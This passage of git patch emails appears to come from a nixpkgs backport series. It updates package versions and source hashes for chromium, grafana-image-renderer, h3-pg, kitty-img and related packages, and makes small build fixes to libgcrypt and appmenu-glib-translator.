   # borrowed from: https://github.com/NixOS/nixpkgs/blob/d70d9425f49f9aba3c49e2c389fe6d42bac8c5b0/pkgs/development/tools/analysis/snyk/default.nix#L20-L22
@@ -67,14 +67,14 @@ buildGoModule rec {
   missingHashes = ./missing-hashes.json;
   offlineCache = yarn-berry_4.fetchYarnBerryDeps {
     inherit src missingHashes;
-    hash = "sha256-Vjr/jyXqHoM/3o49IDJ2aT1s1tMkP90H+2E+yUiviF4=";
+    hash = "sha256-vQdiQyxebtVrO76Pl4oC3DM37owhtQgZqYWaiIyKysQ=";
   };
 
   disallowedRequisites = [ offlineCache ];
 
   postPatch = patchGoVersion;
 
-  vendorHash = "sha256-Vlao6eNEHtl1+6vAAjDOxINuGxSwAqdi6Hc8oVniTO8=";
+  vendorHash = "sha256-cJxvZPJmf5YY+IWE7rdoGUkXxDeE6b0troGsdpsQzeU=";
 
   proxyVendor = true;
 

From b232e19bd2553f52206a8a31d778d03af299804e Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 22 Jun 2025 20:48:19 +0200
Subject: [PATCH 1532/4511] grafana-image-renderer: 3.12.6 -> 3.12.7

ChangeLog: https://github.com/grafana/grafana-image-renderer/blob/v3.12.7/CHANGELOG.md#3127-2025-06-19
(cherry picked from commit 197791fb38f25879a400b2485dd30ee9607de9f5)
---
 pkgs/by-name/gr/grafana-image-renderer/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gr/grafana-image-renderer/package.nix b/pkgs/by-name/gr/grafana-image-renderer/package.nix
index 1859d7a75225..a0654aa70f65 100644
--- a/pkgs/by-name/gr/grafana-image-renderer/package.nix
+++ b/pkgs/by-name/gr/grafana-image-renderer/package.nix
@@ -14,13 +14,13 @@
 
 mkYarnPackage rec {
   pname = "grafana-image-renderer";
-  version = "3.12.6";
+  version = "3.12.7";
 
   src = fetchFromGitHub {
     owner = "grafana";
     repo = "grafana-image-renderer";
     rev = "v${version}";
-    hash = "sha256-xParYkEeH/jH18SH0tTwN4a8NsO8D30Tcmc76Xy77Ew=";
+    hash = "sha256-X7aBUvyktqRHUGvIBBoqAHCUHbddU0ltyd3AhRW+PaA=";
   };
 
   offlineCache = fetchYarnDeps {

From eed1ccc834ab5753dfac44cb07b8cacc6e0fae02 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 20:54:11 +0000
Subject: [PATCH 1533/4511] postgresqlPackages.h3-pg: 4.2.2 -> 4.2.3

(cherry picked from commit 82dbe793af379868bfef71378a8c20695ce031d2)
---
 pkgs/servers/sql/postgresql/ext/h3-pg.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/h3-pg.nix b/pkgs/servers/sql/postgresql/ext/h3-pg.nix
index 3defcde5699f..69e67b2e339e 100644
--- a/pkgs/servers/sql/postgresql/ext/h3-pg.nix
+++ b/pkgs/servers/sql/postgresql/ext/h3-pg.nix
@@ -11,13 +11,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "h3-pg";
-  version = "4.2.2";
+  version = "4.2.3";
 
   src = fetchFromGitHub {
     owner = "zachasme";
     repo = "h3-pg";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-2xp9gssPMTroLT/1Me0VWvtIPyouIk9MW0Rp13uYBEw=";
+    hash = "sha256-kTh0Y0C2pNB5Ul1rp77ets/5VeU1zw1WasGHkOaDMh8=";
   };
 
   postPatch =

From f5932d196ac3a9f5d93d07193e047ea48d8a8998 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Sat, 21 Jun 2025 14:59:34 +0200
Subject: [PATCH 1534/4511] appmenu-glib-translator: adress code review

(cherry picked from commit 6ff856f8db7b3b352cd31bf5b383e182a93cdf52)
---
 .../ap/appmenu-glib-translator/package.nix    | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/ap/appmenu-glib-translator/package.nix b/pkgs/by-name/ap/appmenu-glib-translator/package.nix
index 88265a3086c0..310b3e5b5548 100644
--- a/pkgs/by-name/ap/appmenu-glib-translator/package.nix
+++ b/pkgs/by-name/ap/appmenu-glib-translator/package.nix
@@ -1,15 +1,13 @@
 {
   lib,
   fetchFromGitLab,
+  stdenv,
   glib,
-  gtk3,
+  gobject-introspection,
   meson,
   ninja,
   pkg-config,
-  gobject-introspection,
   vala,
-  stdenv,
-  wrapGAppsHook3,
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "appmenu-glib-translator";
@@ -19,7 +17,6 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "vala-panel-project";
     repo = "vala-panel-appmenu";
     tag = finalAttrs.version;
-    fetchSubmodules = true;
     hash = "sha256-v5J3nwViNiSKRPdJr+lhNUdKaPG82fShPDlnmix5tlY=";
   };
 
@@ -30,19 +27,15 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
 
     pkg-config
-    wrapGAppsHook3
+    gobject-introspection
     vala
   ];
 
-  buildInputs = [
-    glib
-    gobject-introspection
-    gtk3
-  ];
+  propagatedBuildInputs = [ glib ];
 
   meta = {
-    description = "GTK module that strips menus from all GTK programs, converts to MenuModel and sends to AppMenu";
-    homepage = "https://gitlab.com/vala-panel-project/vala-panel-appmenu/-/tree/${finalAttrs.version}/subprojects/appmenu-gtk-module";
+    description = "Library for translating from DBusMenu to GMenuModel";
+    homepage = "https://gitlab.com/vala-panel-project/vala-panel-appmenu/-/tree/${finalAttrs.version}/subprojects/appmenu-glib-translator";
     license = lib.licenses.lgpl3Plus;
     maintainers = with lib.maintainers; [ perchun ];
     platforms = lib.platforms.linux;

From 223baf6124c7ff5e431b4aecdd0831a96188d894 Mon Sep 17 00:00:00 2001
From: gaykitty <126119280+gaykitty@users.noreply.github.com>
Date: Mon, 23 Jun 2025 14:48:55 -0400
Subject: [PATCH 1535/4511] kitty-img: 1.0.0 -> 1.1.0

New version fixes a bug on new version of kitty terminal that
shipped in 25.05.

(cherry picked from commit 2b0cf45a1a29b1c503c7d6da2b1ef5e4c2826cd5)
---
 pkgs/by-name/ki/kitty-img/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ki/kitty-img/package.nix b/pkgs/by-name/ki/kitty-img/package.nix
index e4bdd7549eb3..b7797ce6f3bf 100644
--- a/pkgs/by-name/ki/kitty-img/package.nix
+++ b/pkgs/by-name/ki/kitty-img/package.nix
@@ -6,17 +6,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "kitty-img";
-  version = "1.0.0";
+  version = "1.1.0";
 
   src = fetchFromSourcehut {
     owner = "~zethra";
     repo = "kitty-img";
     rev = version;
-    hash = "sha256-5thx4ADmJE29bxN+ZO3hF0jhgXK+boqt8oj4Sygl5SU=";
+    hash = "sha256-liqLocNIIOmkVWI8H9WU7T352sK7sceVtOX+R0BQ/uk=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-KSNl/SpqcgMaKbkBfNtR7M8+B1clPauYi7NlP+f5Pd0=";
+  cargoHash = "sha256-50M1TUGvjELARt/gvtyAPNL0hG1ekKwdefI9nMEsTo0=";
 
   meta = with lib; {
     description = "Print images inline in kitty";

From a24d41e01e6e9452b602582b9a1d39631ab75328 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Sat, 21 Jun 2025 21:24:23 +0200
Subject: [PATCH 1536/4511] libgcrypt: fix pkgsStatic build on darwin

(cherry picked from commit 2de73712006191848225dcdbe6ee1f4587b65628)
---
 pkgs/by-name/li/libgcrypt/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/li/libgcrypt/package.nix b/pkgs/by-name/li/libgcrypt/package.nix
index 4ac7d48213e2..246b73b992f1 100644
--- a/pkgs/by-name/li/libgcrypt/package.nix
+++ b/pkgs/by-name/li/libgcrypt/package.nix
@@ -89,7 +89,7 @@ stdenv.mkDerivation rec {
 
   # TODO: figure out why this is even necessary and why the missing dylib only crashes
   # random instead of every test
-  preCheck = lib.optionalString stdenv.hostPlatform.isDarwin ''
+  preCheck = lib.optionalString (stdenv.hostPlatform.isDarwin && !stdenv.hostPlatform.isStatic) ''
     mkdir -p $lib/lib
     cp src/.libs/libgcrypt.20.dylib $lib/lib
   '';

From 562ffd30977c6958130112a71b1ee5c906f57adb Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 24 Jun 2025 22:47:21 +0200
Subject: [PATCH 1537/4511] chromium,chromedriver: 137.0.7151.119 ->
 138.0.7204.49

https://developer.chrome.com/blog/new-in-chrome-138

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_24.html

This update includes 11 security fixes.

CVEs:
CVE-2025-6555 CVE-2025-6556 CVE-2025-6557

(cherry picked from commit 2ba1044b99c9bca36ef549afe349148365096d6c)
---
 .../networking/browsers/chromium/common.nix   |   6 +-
 .../networking/browsers/chromium/info.json    | 263 +++++++++---------
 2 files changed, 138 insertions(+), 131 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix
index 031ac6d70db7..9567be60d413 100644
--- a/pkgs/applications/networking/browsers/chromium/common.nix
+++ b/pkgs/applications/networking/browsers/chromium/common.nix
@@ -566,11 +566,12 @@ let
         # exact version or even running a newer version.
         ./patches/chromium-136-nodejs-assert-minimal-version-instead-of-exact-match.patch
       ]
-      ++ lib.optionals (chromiumVersionAtLeast "137") [
+      ++ lib.optionals (versionRange "137" "138") [
         (fetchpatch {
           # Partial revert of upstream clang+llvm bump revert to fix the following error when building with LLVM < 21:
           #  clang++: error: unknown argument: '-fextend-variable-liveness=none'
           # https://chromium-review.googlesource.com/c/chromium/src/+/6514242
+          # Upstream relanded this in M138+ with <https://chromium-review.googlesource.com/c/chromium/src/+/6541127>.
           name = "chromium-137-llvm-19.patch";
           url = "https://chromium.googlesource.com/chromium/src/+/ddf8f8a465be2779bd826db57f1299ccd2f3aa25^!?format=TEXT";
           includes = [ "build/config/compiler/BUILD.gn" ];
@@ -579,11 +580,12 @@ let
           hash = "sha256-wAR8E4WKMvdkW8DzdKpyNpp4dynIsYAbnJ2MqE8V2o8=";
         })
       ]
-      ++ lib.optionals (chromiumVersionAtLeast "137") [
+      ++ lib.optionals (versionRange "137" "138") [
         (fetchpatch {
           # Backport "Fix build with system libpng" that fixes a typo in core/fxcodec/png/png_decoder.cpp that causes
           # the build to fail at the final linking step.
           # https://pdfium-review.googlesource.com/c/pdfium/+/132130
+          # Started shipping with M138+.
           name = "pdfium-Fix-build-with-system-libpng.patch";
           url = "https://pdfium.googlesource.com/pdfium.git/+/83f11d630aa1cb6d5ceb292364412f7b0585a201^!?format=TEXT";
           extraPrefix = "third_party/pdfium/";
diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index ae3334e23ce0..330623ce8247 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,27 +1,27 @@
 {
   "chromium": {
-    "version": "137.0.7151.119",
+    "version": "138.0.7204.49",
     "chromedriver": {
-      "version": "137.0.7151.120",
-      "hash_darwin": "sha256-3NECoMlK57ZlCUPra20rJrZcx9FnMWvTXlcdksn8FUc=",
-      "hash_darwin_aarch64": "sha256-P1trGStKjTD/h+avjAXE5N6nqvAra9RDsSvrR/pTRUA="
+      "version": "138.0.7204.50",
+      "hash_darwin": "sha256-JqEH04dZxqyUKou8QkwtJa0+4AXWPm0p3NJlYM2fnqw=",
+      "hash_darwin_aarch64": "sha256-WojmEFRIqFDMfay3UA0pzSwH9FRno+nHxzR47x4o7gA="
     },
     "deps": {
       "depot_tools": {
-        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
-        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
+        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
+        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
       },
       "gn": {
-        "rev": "85cc21e94af590a267c1c7a47020d9b420f8a033",
-        "hash": "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI="
+        "rev": "ebc8f16ca7b0d36a3e532ee90896f9eb48e5423b",
+        "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
       },
-      "npmHash": "sha256-I6MsfAhrLRmgiRJ13LSejfy2N63C3Oug5tOOXA622j4="
+      "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "e0ac9d12dff5f2d33c935958b06bf1ded7f1c08c",
-        "hash": "sha256-+3C2n/7bbIOpXGvBrFnSMNlgLVRMoPtOF14CDROVClI=",
+        "rev": "d2b48fd5f7813ed477a2d68fa232b8178fa4fb1e",
+        "hash": "sha256-n2jSVXpV0mqdTdLpE+N3yJhutJTOE1fez0BleU0+VSU=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -31,28 +31,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "d0e4db9fcea15a392aaada986cbe33658afc0454",
-        "hash": "sha256-P/uDeqalafY1S7AqZkL1Pz7Jc+iWrkfiACxEtgTRqdU="
+        "rev": "57196dd146582915c955f6d388e31aea93220c51",
+        "hash": "sha256-FVdcKGwRuno3AzS6FUvI8OTj3mBMRfFR2A8GzYcwIU4="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "9d0cba76be7399399d3a499ff3a52c264db3b104",
-        "hash": "sha256-wpMma142NBqyrSbaReQr5yOYhvQIZ06j6S2EUnXmZ2I="
+        "rev": "a01c02c9d4acbdae3b7e8a2f3ee58579a9c29f96",
+        "hash": "sha256-36ulJk/YTfP5k1sDeA/WQyIO8xaplRKK4cQhfTZdpko="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "f2a7f2987f9dcdf8b04c2d8cd4dcb186641a7c3e",
-        "hash": "sha256-X9cAbyd8ZPSwqOGhPYwIZ6b9E3tVwAuAYZKMgbZQxgk="
+        "rev": "9810fb23f6ba666f017c2b67c67de2bcac2b44bd",
+        "hash": "sha256-DkCvfFjMztFTzKf081XyiefW6tMBSZ1AdzcPzXAVPnk="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "81e2cb40a70de2b6978e6d8658891ded9a77f7e3",
-        "hash": "sha256-XdFKn+cGOxA0fHkVMG9UAhCmpML44ocoyHB7XnumX7o="
+        "rev": "8575f4ae4fcf8892938bd9766cf1a5c90a0ed04e",
+        "hash": "sha256-O1S3ijnoVrTHmZDGmgQQe0MVGsSZL7usXAPflGFmMXY="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "cc59264cf9b2ecab0cfc8b51f6f1878372416d36",
-        "hash": "sha256-wQMUL5uAaR8sA1V0FHTZv3jVVaF3NxiHfNnlMq3YImY="
+        "rev": "9c3ae3120fe83b998d0498dcc9ad3a56c29fad0c",
+        "hash": "sha256-BsoHIvdqgYzBUkd23++enEHIhq5GeVWrWdVdhXrHh9A="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -71,8 +71,8 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "e157e12d99cfc729a970b474344673c44e2d2c9c",
-        "hash": "sha256-fowwJbXOR4OIN4+1bJEWv9VP/TLHb9+H1Vt3apVLwkk="
+        "rev": "d21d90790d8ea421b317c4cb52a0d94133422796",
+        "hash": "sha256-X9GIZkPokZ8ojNVDScDQL8D0tJGsaQMg8ncenuBzFHk="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
@@ -81,8 +81,8 @@
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "faec206356fe384c522f34982ae2e92f2f111242",
-        "hash": "sha256-8SuRhYAD3RWMiqD/a8usrRnYKd6prAK5jdwJVXRI+Q0="
+        "rev": "3b42119c3e4be5d4720c3c1b384106fa43e9b5e3",
+        "hash": "sha256-UYyBMjv6ATIwBXYngGof85pBCHXb/jYXetVo0oBrHf8="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
@@ -96,8 +96,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "df9c59dcacff7d186d00e3263a1aa68f8059137c",
-        "hash": "sha256-ybi/DwOQ10I+MK9buKpdNcUlFAI9RA3NfyoB3Udpfyo="
+        "rev": "df15136b959fc60c230265f75ee7fc75c96e8250",
+        "hash": "sha256-b4bGxhtrsfmVdJo/5QT4/mtQ6hqxmfpmcrieqaT9/ls="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -111,8 +111,8 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "dd7e71367795e2dc4d46effda5378f22e9000d16",
-        "hash": "sha256-EZoSoDLFWRR2xkHOKNaNVQvubFp8in0p7/CHN8CFaVI="
+        "rev": "c9d2e24d1a6da00165a0b5908ea4ba05c2e5f0b2",
+        "hash": "sha256-EFhi4dELfyq6FcB+YFlzKfoXz44i5ieFK1KUlFzqE1I="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
@@ -131,8 +131,8 @@
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "fbe707f88ccabca01031e47bf165bd9d499878dd",
-        "hash": "sha256-8tmDR3l7eHWUfVRU90Kg76N/moU6Lb5b3FySJOckl8U="
+        "rev": "86772f20cca54b46f62b65ece1ef61224aef09db",
+        "hash": "sha256-N9DVbQE56WWBmJ/PJlYhU+pr8I+PFf/7FzMLCNqx3hg="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -141,8 +141,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "8209d53f0ef0257e5b8c78d22057086403946cca",
-        "hash": "sha256-2yM8Fct7Ru8ZSFr+Qm1Bv52K2/geAwmOpWc/X7yxLQY="
+        "rev": "d72e2b1a15d22fc825e2f3c939f1baac43281ae9",
+        "hash": "sha256-0LfNcR1FXy5GcL2yHHA6A7EJIWtZU1U/2xSq/eysUa0="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -161,8 +161,13 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "3df76734dc695c4d1c51276b5d9eb63078362972",
-        "hash": "sha256-4jCsCt2rcUpUk2xeL3tZx/jTnuJ+COG+xsDtR+sK1oQ="
+        "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
+        "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s="
+      },
+      "src/third_party/dawn/third_party/webgpu-headers/src": {
+        "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers",
+        "rev": "60cd9020309b87a30cd7240aad32accd24262a5e",
+        "hash": "sha256-+Kf4yPBhM6y2kYTZud9vCavT/BBOzDBsph5+/bUuwkM="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -176,13 +181,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "918cf66ed841930fe1554ae8d78974b95e989596",
-        "hash": "sha256-gzcXse/emv9JBMiInUV5KTeyMQ0igUdFpzUJR4vCUu4="
+        "rev": "9295969e1dad2c31d0d99481734c1c68dcbc6403",
+        "hash": "sha256-+Gs+efB1ZizjMYRSRTQrMDPZsDC+dgNJ9+yHXkzm/ZM="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "232a723f5096ab02d53d87931efa485fa77d3b03",
-        "hash": "sha256-0ynZuxIqBIpNkfD3Y9XdPFQr7HeQcsUO3lhnqvH+k8c="
+        "rev": "2625edb085169e92cf036c236ac79ab594a7b1cc",
+        "hash": "sha256-+Z7KphmQYCeN0aJkqyMrJ4tIi3BhqN16KoPNLb/bMGo="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -191,8 +196,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "000f47cfa393d7f9557025a252862e2a61a60d44",
-        "hash": "sha256-FIJZE1Qu1MLZA4qxB68k1NjhgSbFTjf57YF85JicVZw="
+        "rev": "5477c6dfde1132b685c73edc16e1bc71449a691d",
+        "hash": "sha256-xHe9WoAq1FElMSnu5mlEzrH+EzKiwWXeXMCH69KL5a0="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -226,23 +231,23 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "68114875ad35b573034a2ab1f5cdf3dbb0e59468",
-        "hash": "sha256-cGpteAnjGcxJUcrdLRFfQN7ruTEdNvNCbOH6EC+a39s="
+        "rev": "fe88d943e5f328b34e38b91296db39650f6ec6f3",
+        "hash": "sha256-WlSxI1J+HjAD2UaQjW3oOQpZDnMn/ROpTLYTP4efTi4="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "d91cc488cd651b00009e5d6c70f222362598bec9",
-        "hash": "sha256-o/sw1P+mZOSb6XIVFivC02hTPu++x+xJy2SRP2I9yGE="
+        "rev": "feff46a3cd49eb39667205cdfa2b490bcffc9ba1",
+        "hash": "sha256-YomhvLtDFkGWyivN81gRxtOh9U32Zt6+/obTwccJuRo="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
-        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
+        "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
+        "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "afc8e923a37090445d6d97ca23fea49d9eb7b9cf",
-        "hash": "sha256-io0J6tt0RXumjjSklZyJpALV5IikPbROd40xcrX4iBs="
+        "rev": "f8dfe8b36e516cef8a5a169e88d16480d8abdc68",
+        "hash": "sha256-7ygnGBAeiLxwbTx5s7LRs9+ZOe06tr8VFcSY5cVHnS4="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -256,8 +261,8 @@
       },
       "src/third_party/eigen3/src": {
         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
-        "rev": "464c1d097891a1462ab28bf8bb763c1683883892",
-        "hash": "sha256-OJyfUyiR8PFSaWltx6Ig0RCB+LxPxrPtc0GUfu2dKrk="
+        "rev": "ae3aba99db4c829b4cc4d9fdd54321dedd814dc4",
+        "hash": "sha256-dWWjpQ6M7udOQqUV6P9go3R3O4J2XYpvkngJjRDY4v8="
       },
       "src/third_party/farmhash/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git",
@@ -271,8 +276,8 @@
       },
       "src/third_party/ffmpeg": {
         "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git",
-        "rev": "01f23648c6b84de6c0f717fa4e1816f53b9ee72e",
-        "hash": "sha256-hNzQZQxaa2Wtl7GWWF852cFmmXy4pc15Pp0d59TTfnI="
+        "rev": "dcdd0fa51b65a0b1688ff6b8f0cc81908f09ded2",
+        "hash": "sha256-noc3iZ1yCEgkwWyznx48rXC8JuKxla9QgC/CIjRL/y8="
       },
       "src/third_party/flac": {
         "url": "https://chromium.googlesource.com/chromium/deps/flac.git",
@@ -286,8 +291,8 @@
       },
       "src/third_party/fontconfig/src": {
         "url": "https://chromium.googlesource.com/external/fontconfig.git",
-        "rev": "14d466b30a8ab4a9d789977ed94f2c30e7209267",
-        "hash": "sha256-W5WIgC6A52kY4fNkbsDEa0o+dfd97Rl5NKfgnIRpI00="
+        "rev": "8cf0ce700a8abe0d97ace4bf7efc7f9534b729ba",
+        "hash": "sha256-Kz7KY+evfOciKFHIBLG1JxIRgHRTzuBLgxXHv3m/Y1Y="
       },
       "src/third_party/fp16/src": {
         "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git",
@@ -301,8 +306,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "2d1abd3bbb4d2396ed63b3e5accd66724cf62307",
-        "hash": "sha256-MAVHzILj9f+/HfVjZXyJkSQM3WBwzg7IDpAwiYHfA88="
+        "rev": "738905b34bd1f5a8ff51bd2bc8e38a2d8be9bfd6",
+        "hash": "sha256-j5FPldhIOzsOsFBAMyNh44FTeOD8Gm3scoi3B3hhgKQ="
       },
       "src/third_party/freetype-testing/src": {
         "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git",
@@ -351,8 +356,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "cd430b47a54841ec45d64d2377d7cabaf0eba610",
-        "hash": "sha256-QT9PQ9bF+eCPfRLkcHpH4jc0UZfGPc98fHf8QDV5bZg="
+        "rev": "09ffd0015395354774c059a17d9f5bee36177ff9",
+        "hash": "sha256-md/jPkFrs/0p0BYGyquh57Zxh+1dKaK26PDtUN1+Ce0="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -361,8 +366,8 @@
       },
       "src/third_party/icu": {
         "url": "https://chromium.googlesource.com/chromium/deps/icu.git",
-        "rev": "4c8cc4b365a505ce35be1e0bd488476c5f79805d",
-        "hash": "sha256-eGI/6wk6IOUPvX7pRTm4VJk1CqkkxalTu84L36i/D6k="
+        "rev": "b929596baebf0ab4ac7ec07f38365db4c50a559d",
+        "hash": "sha256-/T7uyzwTCDaamLwSvutvbn6BJuoG1RqeR+xhXI5jmJw="
       },
       "src/third_party/jsoncpp/source": {
         "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git",
@@ -381,8 +386,8 @@
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
-        "rev": "b10387fdbbca18192f85eaa5323a59f44bf9c468",
-        "hash": "sha256-L2QG0pUmGjGdtdlivxYfxSqO9YaVHpIT6lvJwBMTxMw="
+        "rev": "f03aafb7516050ea73f617bf969f03eac641aefc",
+        "hash": "sha256-MHli8sadgC3OMesBGhkjPM/yW49KFOtdFuBII1bcFas="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -396,18 +401,18 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "719f60edc51b6141a2434bf1b5110c2fb075b246",
-        "hash": "sha256-W62uXVbQiq6Ef3bar2NsCXJoz5KKUK8Y/9n2vK7Vf3Q="
+        "rev": "2cca4aba034f99842c2e6cdc173f83801d289764",
+        "hash": "sha256-pyLKjLG83Jlx6I+0M8Ah94ku4NIFcrHNYswfVHMvdrc="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
-        "rev": "02d0fad2c512380b7270d6e704c86521075d7d54",
-        "hash": "sha256-T9ibgp0glfY5EhwMiwlvXKZat0InDu7PoqE1H8/lS5A="
+        "rev": "eb883022a5886739f07f0241f918e2be97d65ff0",
+        "hash": "sha256-IxtMAqN3O/s1GrVKzcge9cQ+DVtJtFvHYvsfjmflwVQ="
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "e71de0e0c312caf8d2fa22f132619c6a68496444",
-        "hash": "sha256-dzJtRhoPA1FWeu0xjd7kJ1Q2nT5gIkKpIgQmywsRlPY="
+        "rev": "959322177f40f2e0f1ecacd8a1aea2805e67b62b",
